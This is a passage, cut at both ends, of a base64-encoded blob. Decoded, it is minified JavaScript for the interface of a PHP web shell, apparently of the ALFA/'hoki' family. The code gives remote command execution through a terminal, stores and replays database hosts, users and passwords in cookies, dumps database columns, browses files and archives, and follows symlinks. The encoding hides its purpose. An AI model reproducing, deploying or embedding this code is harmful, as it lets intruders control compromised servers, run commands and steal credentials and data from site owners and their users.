nQodGhpcyxldmVudCk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IltjbG9zZV0iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2RlbGV0ZS5zdmciPjwvZGl2PicpLGQucXVlcnlTZWxlY3RvcigiI2NnaWZyYW1lIC50ZXJtaW5h
bC10YWJzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IG9uY2xpY2s9Imhva2lPcGVuUGhwVGVybWluYWwodHJ1ZSk7IiBpZD0idGVybWluYWxfbmV3X3RhYiIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzgwMDAwMDsiIGN
sYXNzPSJ0ZXJtaW5hbC10YWIiPk5ldyBUYWIgKzwvZGl2PicpLHRlcm1pbmFsX3dhbGtfaW5kZXhbaV09e2luZGV4OjAsa2V5Oi0xfSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAucGhwLXRlcm1pbmFsLWlucHV0IikuZm9jdXMoKSxkLnF1ZXJ5U2
VsZWN0b3IoIiMiK2krIiAucGhwLXRlcm1pbmFsLWN1cnJlbnQtZGlyIikuaW5uZXJIVE1MPWNfLGQucXVlcnlTZWxlY3RvcigiI2NnaWxvYWRlci1taW5pbWl6ZWQgLm1pbmltaXplZC10ZXh0IikuaW5uZXJIVE1MPSJUZXJtaW5hbCIsaG9raVRlc
m1pbmFsU2V0Q29sb3JBbmRTaXplKGkpLHBocF90ZW1yaW5hbF91c2luZ19jZ2k9ITA7dmFyIGw9aG9raUdldFRlcm1pbmFsSGlzdG9yeSgpO2Zvcih2YXIgciBpbiBsKWQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5jbWQtaGlzdG9yeS1ob2xkZXIg
LmNvbW1hbmRzLWhpc3RvcnkiKS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCI8ZGl2IG9uY2xpY2s9XCJkLnF1ZXJ5U2VsZWN0b3IoJyMiK2krJyAucGhwLXRlcm1pbmFsLWlucHV0XCcpLnZhbHVlID0gdGhpcy5pbm5lckhUTUw7IiB
jbGFzcz0iaGlzdG9yeS1jbWQtbGluZSI+JytsW3JdKyI8L2Rpdj4iKX1kLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiJ9ZnVuY3Rpb24gaG9raVRlcm1pbmFsU2V0Q29sb3JBbmRTaXplKGUpe3ZhciB0PWdldENvb2tpZSgiaG9raS10ZXJtaW
5hbC1jb2xvciIpLGE9Z2V0Q29va2llKCJob2tpLXRlcm1pbmFsLWZvbnRzaXplIik7dm9pZCAwIT09dCYmKGQucXVlcnlTZWxlY3RvcigiIyIrZSsiIHByZS5tbDEiKS5zdHlsZS5jb2xvcj10KSx2b2lkIDAhPT1hJiYoZC5xdWVyeVNlbGVjdG9yK
CIjIitlKyIgcHJlLm1sMSIpLnN0eWxlLmZvbnRTaXplPWEpfWZ1bmN0aW9uIGhva2lUZXJtaW5hbENoYW5nZWNvbG9yKGUsdCl7ZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgcHJlLm1sMSIpLnN0eWxlLmNvbG9yPWUudmFsdWUsc2V0Q29va2llKCJo
b2tpLXRlcm1pbmFsLWNvbG9yIixlLnZhbHVlLDIwMTIpfWZ1bmN0aW9uIGhva2lHZXRUZXJtaW5hbEhpc3RvcnkoZSl7dmFyIHQ9Z2V0Q29va2llKCJob2tpLXRlcm1pbmFsLWhpc3RvcnkiKTt0cnl7dD1hdG9iKHQpLHQ9SlNPTi5wYXJzZSh0KX1
jYXRjaChlKXt0PVtdfXJldHVybiB2b2lkIDAhPT1lJiZ0LnJldmVyc2UoKSx0fWZ1bmN0aW9uIGNoYW5nZVRlcm1pbmFsRm9udFNpemUoZSx0KXt2YXIgYT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2UrIiBwcmUubWwxIiksaT1wYXJzZUludCh3aW5kb3
cuZ2V0Q29tcHV0ZWRTdHlsZShhLG51bGwpLmdldFByb3BlcnR5VmFsdWUoImZvbnQtc2l6ZSIpKSxsPSIiOzE9PXQ/KGw9aSsxKyJweCIsYS5zdHlsZS5mb250U2l6ZT1sKToobD1pLTErInB4IixhLnN0eWxlLmZvbnRTaXplPWwpLHNldENvb2tpZ
SgiaG9raS10ZXJtaW5hbC1mb250c2l6ZSIsbCwyMDEyKX1mdW5jdGlvbiBob2tpV2Fsa0luVGVybWluYWxIaXN0b3J5KGUsdCxhKXt2YXIgaT10fHx3aW5kb3cuZXZlbnQ7aWYoIjM4Ij09aS5rZXlDb2RlfHwiNDAiPT1pLmtleUNvZGV8fCIzNyI9
PWkua2V5Q29kZXx8IjM5Ij09aS5rZXlDb2RlKXN3aXRjaChpLmtleUNvZGUpe2Nhc2UgMzg6dmFyIGw9aG9raUdldFRlcm1pbmFsSGlzdG9yeSghMCkscj0iIjswPT10ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PygwPT10ZXJtaW5hbF93YWx
rX2luZGV4W2FdLmtleSYmKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4LHZvaWQgMCE9PShyPWxbdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleF0pPyhlLnZhbHVlPXIsKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4KTooZS52YW
x1ZT0iIix0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PTApKTp0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PGwubGVuZ3RoJiYoMD09dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXkmJisrdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRle
CxlLnZhbHVlPWxbdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleF0sKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4KSx0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmtleT0xO2JyZWFrO2Nhc2UgNDA6bD1ob2tpR2V0VGVybWluYWxIaXN0b3J5
KCEwKTtpZih0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4Pj0wKTAhPXRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXgmJigtLXRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXgsMT09dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXkmJi0tdGV
ybWluYWxfd2Fsa19pbmRleFthXS5pbmRleCksdm9pZCAwIT09KHI9bFt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4XSk/ZS52YWx1ZT1yOihlLnZhbHVlPSIiLHRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXg9MCk7dGVybWluYWxfd2Fsa1
9pbmRleFthXS5rZXk9MDticmVhaztkZWZhdWx0OmNvbnNvbGUubG9nKGkua2V5Q29kZSl9ZWxzZSB0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PTB9ZnVuY3Rpb24gY2xlYXJUZXJtaW5hbEhpc3RvcnkoKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoI
i5jb21tYW5kcy1oaXN0b3J5IikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmlubmVySFRNTD0iIn0pLHNldENvb2tpZSgiaG9raS10ZXJtaW5hbC1oaXN0b3J5IiwiIiwyMDEyKX1mdW5jdGlvbiBob2tpQWNlVG9GdWxsc2NyZWVuKGUpe3ZhciB0PWUu
Z2V0QXR0cmlidXRlKCJhY2VfaWQiKTtob2tpX2FjZV9lZGl0b3JzLmVkaXRvclt0XS5jb250YWluZXIucmVxdWVzdEZ1bGxzY3JlZW4oKX1mdW5jdGlvbiBjbG9zZUhpc3RvcnlDbWQoZSx0KXtpZigiZnJlZSI9PWUpe3ZhciBhPXQuZ2V0QXR0cml
idXRlKCJ0ZXJtX2lkIik7cmV0dXJuIGU9ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLmNtZC1oaXN0b3J5LWljb24iKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikuc3R5bGUudmlzaWJpbGl0eT0iaGlkZGVuIi
xkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikuc3R5bGUub3BhY2l0eT0iMCIsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvZmYiKSwhMX12YXIgaT1lLmdldEF0dHJpYnV0ZSgibW9kZSIpLGw9KGE9ZS5nZXRBdHRya
WJ1dGUoInRlcm1faWQiKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikpOzA9PWkubGVuZ3RofHwib2ZmIj09aT8obC5zdHlsZS52aXNpYmlsaXR5PSJ2aXNpYmxlIixsLnN0eWxlLm9wYWNpdHk9IjEiLGUuc2V0
QXR0cmlidXRlKCJtb2RlIiwib24iKSk6KGwuc3R5bGUudmlzaWJpbGl0eT0iaGlkZGVuIixsLnN0eWxlLm9wYWNpdHk9IjAiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib2ZmIikpfWZ1bmN0aW9uIGdlRXZhbEFjZVZhbHVlKGUpe3ZhciB0PWUucXV
lcnlTZWxlY3RvcigiLnBocC1ldmFscy1hY2UiKS5nZXRBdHRyaWJ1dGUoImlkIik7cmV0dXJuIGhva2lfYWNlX2VkaXRvcnMuZXZhbFt0XS5nZXRWYWx1ZSgpfWZ1bmN0aW9uIGhva2lPcGVuQXJjaGl2ZShlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZS
gicGF0aCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImZuYW1lIiksaT1lLmdldEF0dHJpYnV0ZSgiYmFzZV9pZCIpO2lmKCIuLiI9PWEmJiJwaGFyOi8vIiE9dC5zdWJzdHIoMCw3KSlyZXR1cm4hMTt2YXIgbD0iYT0iK2hva2liNjQoIm9wZW5fYXJjaGl2Z
V9kaXIiKSsiJmM9Iitob2tpYjY0KGNfKSsiJmhva2kxPSIraG9raWI2NCh0KSsiJmhva2kyPSIraG9raWI2NChpKSsiJmFqYXg9Iitob2tpYjY0KCJ0cnVlIik7X0FqYXgoZC5VUkwsbCxmdW5jdGlvbihlKXtpZigiMCIhPWUpeyQoImFyY2hpdmVf
YmFzZV8iK2kpLmlubmVySFRNTD1lO3ZhciBhPSQoImFyY2hpdmVfZGlyXyIraSkuZ2V0QXR0cmlidXRlKCJhcmNoaXZlX25hbWUiKSxsPSQoImFyY2hpdmVfZGlyXyIraSkuZ2V0QXR0cmlidXRlKCJhcmNoaXZlX2Z1bGwiKSxyPSIiLG89IiI7aWY
oMCE9KHQ9dC5zcGxpdChhKVsxXSkubGVuZ3RoKXt2YXIgbj0odD10LnNwbGl0KCIvIikpLmxlbmd0aC0xO2Zvcih2YXIgcyBpbiAwPT10W25dLmxlbmd0aCYmdC5zcGxpY2UobiwxKSx0KTAhPXQubGVuZ3RoJiYobys9dFtzXSsiLyIscis9JzxhIG
Jhc2VfaWQ9IicraSsnIiBmbmFtZT0iJyt0W3NdKyciIHBhdGg9IicrbCtvKyciIG9uY2xpY2s9Imhva2lPcGVuQXJjaGl2ZSh0aGlzKTsiPicrdFtzXSsiLzwvYT4iKX1kLnF1ZXJ5U2VsZWN0b3IoIiNhcmNoaXZlX2Rpcl8iK2krIiAuYXJjaGl2Z
V9wd2RfaG9sZGVyIikuaW5uZXJIVE1MPXJ9fSwhMSwib3Blbl9hcmNoaXZlX2RpciIpfWZ1bmN0aW9uIGhva2lEZWxldGVDb25uZWN0VG9EYihlKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5kYmhfIitlKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UucmVt
b3ZlKCl9KSxob2tpQ29ubmVjdGlvbkhpc3RvcnlVcGRhdGUoZSl9ZnVuY3Rpb24gaG9raUNvbm5lY3RUb0RiKGUsdCl7dmFyIGE9e307dHJ5e2E9SlNPTi5wYXJzZShhdG9iKGdldENvb2tpZSgiaG9raV9jb25uZWN0aW9uX2hpc3QiKSkpfWNhdGN
oKGUpe312YXIgaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiBkaXYuc2YiKTtpLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2hvc3RdIikudmFsdWU9YVtlXS5ob3N0LGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfbG9naW5dIi
kudmFsdWU9YVtlXS51c2VyLGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfcGFzc10iKS52YWx1ZT1hW2VdLnBhc3MsKGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfYmFzZV0iKT9pLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hb
WU9c3FsX2Jhc2VdIik6aS5xdWVyeVNlbGVjdG9yKCJzZWxlY3RbbmFtZT1zcWxfYmFzZV0iKSkudmFsdWU9YVtlXS5kYixpLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2NvdW50XSIpLmNoZWNrZWQ9ITAsZC5xdWVyeVNlbGVjdG9yKCIj
Iit0KyIgZGl2LnNmIC5kYi1jb25uZWN0LWJ0biIpLmNsaWNrKCl9ZnVuY3Rpb24gaG9raVNob3dDb25uZWN0aW9uSGlzdG9yeShlKXt2YXIgdD17fSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKTtpZih
yb3dzPSc8dGFibGUgY2xhc3M9ImNvbm5lY3Rpb24taGlzdC10YWJsZSI+PHRyPjx0aD4qPC90aD48dGg+SG9zdDwvdGg+PHRoPlVzZXI8L3RoPjx0aD5QYXNzPC90aD48dGg+RGF0YWJhc2U8L3RoPjx0aD5Db25uZWN0PC90aD48dGg+RGVsZXRlPC
90aD48L3RyPicsIm9uIj09aSl7ZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvZmYiKTt0cnl7dD1KU09OLnBhcnNlKGF0b2IoZ2V0Q29va2llKCJob2tpX2Nvbm5lY3Rpb25faGlzdCIpKSl9Y2F0Y2goZSl7fXZhciBsLHI9MTtmb3IobCBpbiB0KXt2Y
XIgbz10W2xdLnVzZXIrIl8iK3RbbF0uZGI7cm93cys9Jzx0ciBjbGFzcz0iZGJoXycrbysnIj48dGg+JytyKyI8L3RoPjx0aD4iK3RbbF0uaG9zdCsiPC90aD48dGg+Iit0W2xdLnVzZXIrIjwvdGg+PHRoPiIrdFtsXS5wYXNzKyI8L3RoPjx0aD4i
K3RbbF0uZGIrJzwvdGg+PHRoPjxidXR0b24gc3R5bGU9Im1hcmdpbjogdW5zZXQ7IiBjbGFzcz0iY29ubmVjdGlvbi1oaXMtYnRuIiBvbmNsaWNrPVwnaG9raUNvbm5lY3RUb0RiKCInK28rJyIsIicrYSsnIik7XCc+Q29ubmVjdDwvYnV0dG9uPjw
vdGg+PHRoIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij48YnV0dG9uIHN0eWxlPSJtYXJnaW46IHVuc2V0OyIgY2xhc3M9ImNvbm5lY3Rpb24taGlzLWJ0biBjb25uZWN0aW9uLWRlbGV0ZSIgb25jbGljaz1cJ2hva2lEZWxldGVDb25uZWN0VG
9EYigiJytvKyJcIik7Jz5YPC9idXR0b24+PC90aD48L3RyPiIscisrfXJvd3MrPSI8L3RhYmxlIn1lbHNlIGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib24iKSxyb3dzPSIiO2QucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5jb25uZWN0aW9uX2hpc3Rvc
nlfaG9sZGVyIikuaW5uZXJIVE1MPXJvd3N9ZnVuY3Rpb24gaG9raUNvbm5lY3Rpb25IaXN0b3J5VXBkYXRlKGUpe3ZhciB0LGE9e307dHJ5e2E9SlNPTi5wYXJzZShhdG9iKGdldENvb2tpZSgiaG9raV9jb25uZWN0aW9uX2hpc3QiKSkpfWNhdGNo
KGUpe31mb3IodCBpbiBteXNxbF9jYWNoZSkwIT1teXNxbF9jYWNoZVt0XS5kYi5sZW5ndGgmJihhW215c3FsX2NhY2hlW3RdLnVzZXIrIl8iK215c3FsX2NhY2hlW3RdLmRiXT1teXNxbF9jYWNoZVt0XSk7dm9pZCAwIT09ZSYmZGVsZXRlIGFbZV0
sc2V0Q29va2llKCJob2tpX2Nvbm5lY3Rpb25faGlzdCIsYnRvYShKU09OLnN0cmluZ2lmeShhKSksMjAxMil9ZnVuY3Rpb24gaG9raUV4ZWNUZXJtaW5hbChlLHQpe3ZhciBhPSIiO2lmKDA9PShhPXZvaWQgMCE9PXQ/ImNkICIrY186ZS5jLnZhbH
VlKS5sZW5ndGgpcmV0dXJuITE7ImwiPT1hP2E9ImxzIC10cmggLS1jb2xvciI6ImxsIj09YSYmKGE9ImxzIC1sdHJoIC0tY29sb3IiKTt2YXIgaT1lLmdldEF0dHJpYnV0ZSgidGVybV9pZCIpO2hva2lsb2FkZXIoaSwiYmxvY2siKSxjbG9zZUhpc
3RvcnlDbWQoImZyZWUiLGUpO3ZhciBsPSIiOyJGT1JNIj09ZS50YWdOYW1lJiYobD1lLnF1ZXJ5U2VsZWN0b3IoIi5waHAtdGVybWluYWwtY3VycmVudC1kaXIiKS5pbm5lckhUTUwpLDA9PShsPWwudHJpbSgpKS5sZW5ndGgmJihsPWNfKTt2YXIg
cj0iYT0iK2hva2liNjQoInRlcm1pbmFsRXhlYyIpKyImYz0iK2hva2liNjQobCkrIiZob2tpMT0iK2hva2liNjQoYSkrIiZhamF4PSIraG9raWI2NCgidHJ1ZSIpO2lmKF9BamF4KGQuVVJMLHIsZnVuY3Rpb24oZSx0KXtob2tpbG9hZGVyKHQsIm5
vbmUiKTt0cnl7dmFyIGE9JCgidGFiXyIraSk7bnVsbCE9YSYmKCgtMT09YS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiYWN0aXZlLXRlcm1pbmFsLXRhYiIpfHxjZ2lfaXNfbWluaW1pemVkKSYmKGEuY2xhc3NMaXN0LmFkZCgidGFiLWlzLWRvbm
UiKSxob2tpU2hvd05vdGlmaWNhdGlvbigicHJvY2Nlc3MgaXMgZG9uZS4uLiIsYS5pbm5lclRleHQpKSxjZ2lfaXNfbWluaW1pemVkJiZob2tpVXBkYXRlT3B0aW9uc0JhZGdlKCJjZ2lsb2FkZXIiKSl9Y2F0Y2goZSl7fWU9SlNPTi5wYXJzZShlK
SxkLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiAucGhwLXRlcm1pbmFsLW91dHB1dCA+IHByZSIpLmlubmVySFRNTD1lLm91dHB1dCwwIT1lLnBhdGgubGVuZ3RoJiYoZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgLnBocC10ZXJtaW5hbC1jdXJyZW50LWRp
ciIpLmlubmVySFRNTD1lLnBhdGgpfSwhMSxpKSx2b2lkIDA9PT10KXtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAuY21kLWhpc3RvcnktaG9sZGVyIC5jb21tYW5kcy1oaXN0b3J5IikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwiPGR
pdiBvbmNsaWNrPVwiZC5xdWVyeVNlbGVjdG9yKCcjIitpKycgLnBocC10ZXJtaW5hbC1pbnB1dFwnKS52YWx1ZSA9IHRoaXMuaW5uZXJIVE1MOyIgY2xhc3M9Imhpc3RvcnktY21kLWxpbmUiPicrYSsiPC9kaXY+Iik7dmFyIG89aG9raUdldFRlcm
1pbmFsSGlzdG9yeSgpLG49by5pbmRleE9mKGEpOy0xIT1uJiZvLnNwbGljZShuLDEpLG8ucHVzaChhKSxzZXRDb29raWUoImhva2ktdGVybWluYWwtaGlzdG9yeSIsYnRvYShKU09OLnN0cmluZ2lmeShvKSksMjAxMil9ZC5xdWVyeVNlbGVjdG9yK
CIjIitpKyIgaW5wdXQucGhwLXRlcm1pbmFsLWlucHV0IikuZm9jdXMoKX1mdW5jdGlvbiBwYWdlQ2hhbmdlZEZpbGVzTWFuKGUpe3ZhciB0PSJmaWxlc21hbl9ob2xkZXJfIitob2tpX2N1cnJlbnRfZm1faWQsYT1nZXRDb29raWUodCsiX3BhZ2Vf
bnVtYmVyIiksaT1lLmlubmVyVGV4dDtpZigiPDwiPT1pKXthPWQucXVlcnlTZWxlY3RvcigiIyIrdCsiIC5hY3RpdmUtcGFnZS1udW1iZXIiKS5pbm5lclRleHQ7aWYoISgoYT1wYXJzZUludChhKSk+MSkpcmV0dXJuITE7aT1hLTF9aWYoIj4+Ij0
9aSl7YT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiAuYWN0aXZlLXBhZ2UtbnVtYmVyIikuaW5uZXJUZXh0O2E9cGFyc2VJbnQoYSk7dmFyIGw9ZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgLmxhc3QtcGFnZS1udW1iZXIiKS5pbm5lckhUTUw7aWYoIS
hhKzE8PShsPXBhcnNlSW50KGwpKSkpcmV0dXJuITE7aT1hKzF9c2V0Q29va2llKHQrIl9wYWdlX251bWJlciIsaSwyMDEyKSxnKCJGaWxlc01hbiIsY18pfWZ1bmN0aW9uIGhva2lDb2xEdW1wZXJJbml0KCl7dmFyIGU9ZC5xdWVyeVNlbGVjdG9yK
CIudGFiX25hbWUudGFiX2lzX2FjdGl2ZSIpLmdldEF0dHJpYnV0ZSgib3B0X2lkIiksdD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2UpLGE9dC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJib3giKTtmb3IoaT0wO2k8YS5sZW5ndGg7aSsrKWFbaV0uYWRk
RXZlbnRMaXN0ZW5lcigiY2xpY2siLGZ1bmN0aW9uKCl7bnVsbCE9dGhpcy5wYXJlbnRFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoIi5uZXN0ZWQiKSYmKHRoaXMucGFyZW50RWxlbWVudC5xdWVyeVNlbGVjdG9yKCIubmVzdGVkIikuY2xhc3NMaXN0LnR
vZ2dsZSgiYWN0aXZlIiksdGhpcy5jbGFzc0xpc3QudG9nZ2xlKCJjaGVjay1ib3giKSl9KTt2YXIgaTthPXQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgic3ViLWJveCIpO2ZvcihpPTA7aTxhLmxlbmd0aDtpKyspYVtpXS5zZXRBdHRyaWJ1dGUoIm
9wdF9pZCIsZSksYVtpXS5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsZnVuY3Rpb24oKXt0aGlzLmNsYXNzTGlzdC50b2dnbGUoImNoZWNrLWJveCIpO3ZhciBlPXRoaXMuZ2V0QXR0cmlidXRlKCJ0YmwiKSx0PXRoaXMuZ2V0QXR0cmlidXRlKCJvc
HRfaWQiKTt0PXQucmVwbGFjZSgib3B0aW9uXyIsIiIpLGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YS5oYXNPd25Qcm9wZXJ0eSh0KXx8KGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XT17fSksdm9pZCAwPT09Y29sX2R1bXBlcl9zZWxlY3RlZF9k
YXRhW3RdW2VdJiYoY29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhW3RdW2VdPVtdKTt2YXIgYT10aGlzLmlubmVySFRNTCxpPWNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5pbmRleE9mKGEpOy0xPT1pP2NvbF9kdW1wZXJfc2VsZWN0ZWRfZGF
0YVt0XVtlXS5wdXNoKGEpOmNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5zcGxpY2UoaSwxKX0pfWZ1bmN0aW9uIHNob3dTeW1saW5rUGF0aChlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoInJvdyIpLG
k9JCgidGRfcm93XyIrYSksbD1lLmdldEF0dHJpYnV0ZSgib3B0X3RpdGxlIikscj1lLmdldEF0dHJpYnV0ZSgiZm5hbWUiKTtpZihsPWRlY29kZVVSSUNvbXBvbmVudChyKSsiIC0+ICIrbCxudWxsIT1pKXtpLmluc2VydEFkamFjZW50SFRNTCgiY
WZ0ZXJiZWdpbiIsJzxkaXYgY2xhc3M9InN5bWxpbmtfcGF0aCIgaWQ9ImxpbmtfaWRfJythKyciPicrbCsiPC9kaXY+Iik7dmFyIG89dC5jbGllbnRYLG49dC5jbGllbnRZLTMwOyQoImxpbmtfaWRfIithKS5zdHlsZS5sZWZ0PW8rInB4IiwkKCJs
aW5rX2lkXyIrYSkuc3R5bGUudG9wPW4rInB4In19ZnVuY3Rpb24gaGlkZVN5bWxpbmtQYXRoKGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKSwkKCJsaW5rX2lkXyIrZS5nZXRBdHRyaWJ1dGUoInJvdyIpKS5yZW1vdmUoKX1mdW5jdGlvbiBob2tpZ2V
0RmxhZ3MoKXtkYXRhPSJhPSIraG9raWI2NCgiZ2V0X2ZsYWdzIikrIiZjPSIraG9raWI2NChjXykrIiZhamF4PSIraG9raWI2NCgidHJ1ZSIpLF9BamF4KGQuVVJMLGRhdGEsZnVuY3Rpb24oZSl7dmFyIHQ9SlNPTi5wYXJzZShlKTt0Lmhhc093bl
Byb3BlcnR5KCJzZXJ2ZXIiKSYmKGQucXVlcnlTZWxlY3RvckFsbCgiLmZsYWctaG9sZGVyIilbMF0uaW5uZXJIVE1MPSc8aW1nIGRyYWdnYWJsZT0iZmFsc2UiIHRpdGxlPSInK3Quc2VydmVyLm5hbWUrJyIgc3JjPSJodHRwOi8vc29sZXZpc2lib
GUuY29tL2ltYWdlcy9mbGFncy80OC8nK3Quc2VydmVyLmNvZGUudG9Mb3dlckNhc2UoKSsnLnBuZyI+JyxkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5mbGFnLWhvbGRlciIpWzBdLnN0eWxlLmRpc3BsYXk9ImlubGluZSIpLHQuaGFzT3duUHJvcGVydHko
ImNsaWVudCIpJiYoZC5xdWVyeVNlbGVjdG9yQWxsKCIuZmxhZy1ob2xkZXIiKVsxXS5pbm5lckhUTUw9JzxpbWcgZHJhZ2dhYmxlPSJmYWxzZSIgdGl0bGU9IicrdC5jbGllbnQubmFtZSsnIiBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1
hZ2VzL2ZsYWdzLzQ4LycrdC5jbGllbnQuY29kZS50b0xvd2VyQ2FzZSgpKycucG5nIj4nLGQucXVlcnlTZWxlY3RvckFsbCgiLmZsYWctaG9sZGVyIilbMV0uc3R5bGUuZGlzcGxheT0iaW5saW5lIil9KX1mdW5jdGlvbiBjb2xEdW1wbGVyU2VsZW
N0VHlwZShlKXt2YXIgdD1lLm9wdGlvbnNbZS5zZWxlY3RlZEluZGV4XS52YWx1ZTskKCJjb2xkdW1wZXItZGVsaW1pdGVyLWlucHV0Iikuc3R5bGUuZGlzcGxheT0iZGVsaW1pdGVyIj09dD8iaW5saW5lLWJsb2NrIjoibm9uZSJ9ZnVuY3Rpb24ga
G9raUNoZWNrVXJsSGFzaCgpe3ZhciBlPXdpbmRvdy5sb2NhdGlvbi5oYXNoLnN1YnN0cigxKSx0PWUuc3BsaXQoIiYiKS5yZWR1Y2UoZnVuY3Rpb24oZSx0KXt2YXIgYT10LnNwbGl0KCI9Iik7cmV0dXJuIGVbYVswXV09YVsxXSxlfSx7fSk7aWYo
IiIhPWUpc3dpdGNoKHQuYWN0aW9uKXtjYXNlImZpbGVtYW4iOmNhc2Uib3B0aW9ucyI6dC5wYXRoPWRlY29kZVVSSUNvbXBvbmVudCh0LnBhdGgpLGcoIkZpbGVzTWFuIix0LnBhdGgsZnVuY3Rpb24oZSl7aWYodC5oYXNPd25Qcm9wZXJ0eSgiZml
sZSIpKXt2YXIgYT0iYXV0byI7aXNBcmNoaXZlKHQuZmlsZSkmJihhPSJ2aWV3IiksZWRpdG9yKHQucGF0aCsiLyIrdC5maWxlLGEsIiIsIiIsIiIsImZpbGUiKX19KSwib3B0aW9ucyI9PXQuYWN0aW9uJiZ0Lmhhc093blByb3BlcnR5KCJvcHQiKS
YmKGhva2lfY2FuX2FkZF9vcHQ9ITAsZyh0Lm9wdCxudWxsLCIiLCIiLCIiKSxkLnF1ZXJ5U2VsZWN0b3IoIi5vcHQtdGl0bGUiKS5pbm5lckhUTUw9JCgibWVudV9vcHRfIit0Lm9wdCkuaW5uZXJIVE1MKSx0Lmhhc093blByb3BlcnR5KCJmaWxlI
il8fGVkaXRvckNsb3NlKCJlZGl0b3IiKSx0Lmhhc093blByb3BlcnR5KCJvcHQiKXx8ZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpO2JyZWFrO2RlZmF1bHQ6ZygiRmlsZXNNYW4iLCI8P3BocCBl
Y2hvICRHTE9CQUxTWyJjd2QiXTsgPz4iKSxlZGl0b3JDbG9zZSgiZWRpdG9yIiksZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpfWVsc2UgZygiRmlsZXNNYW4iLCI8P3BocCBlY2hvICRHTE9CQUx
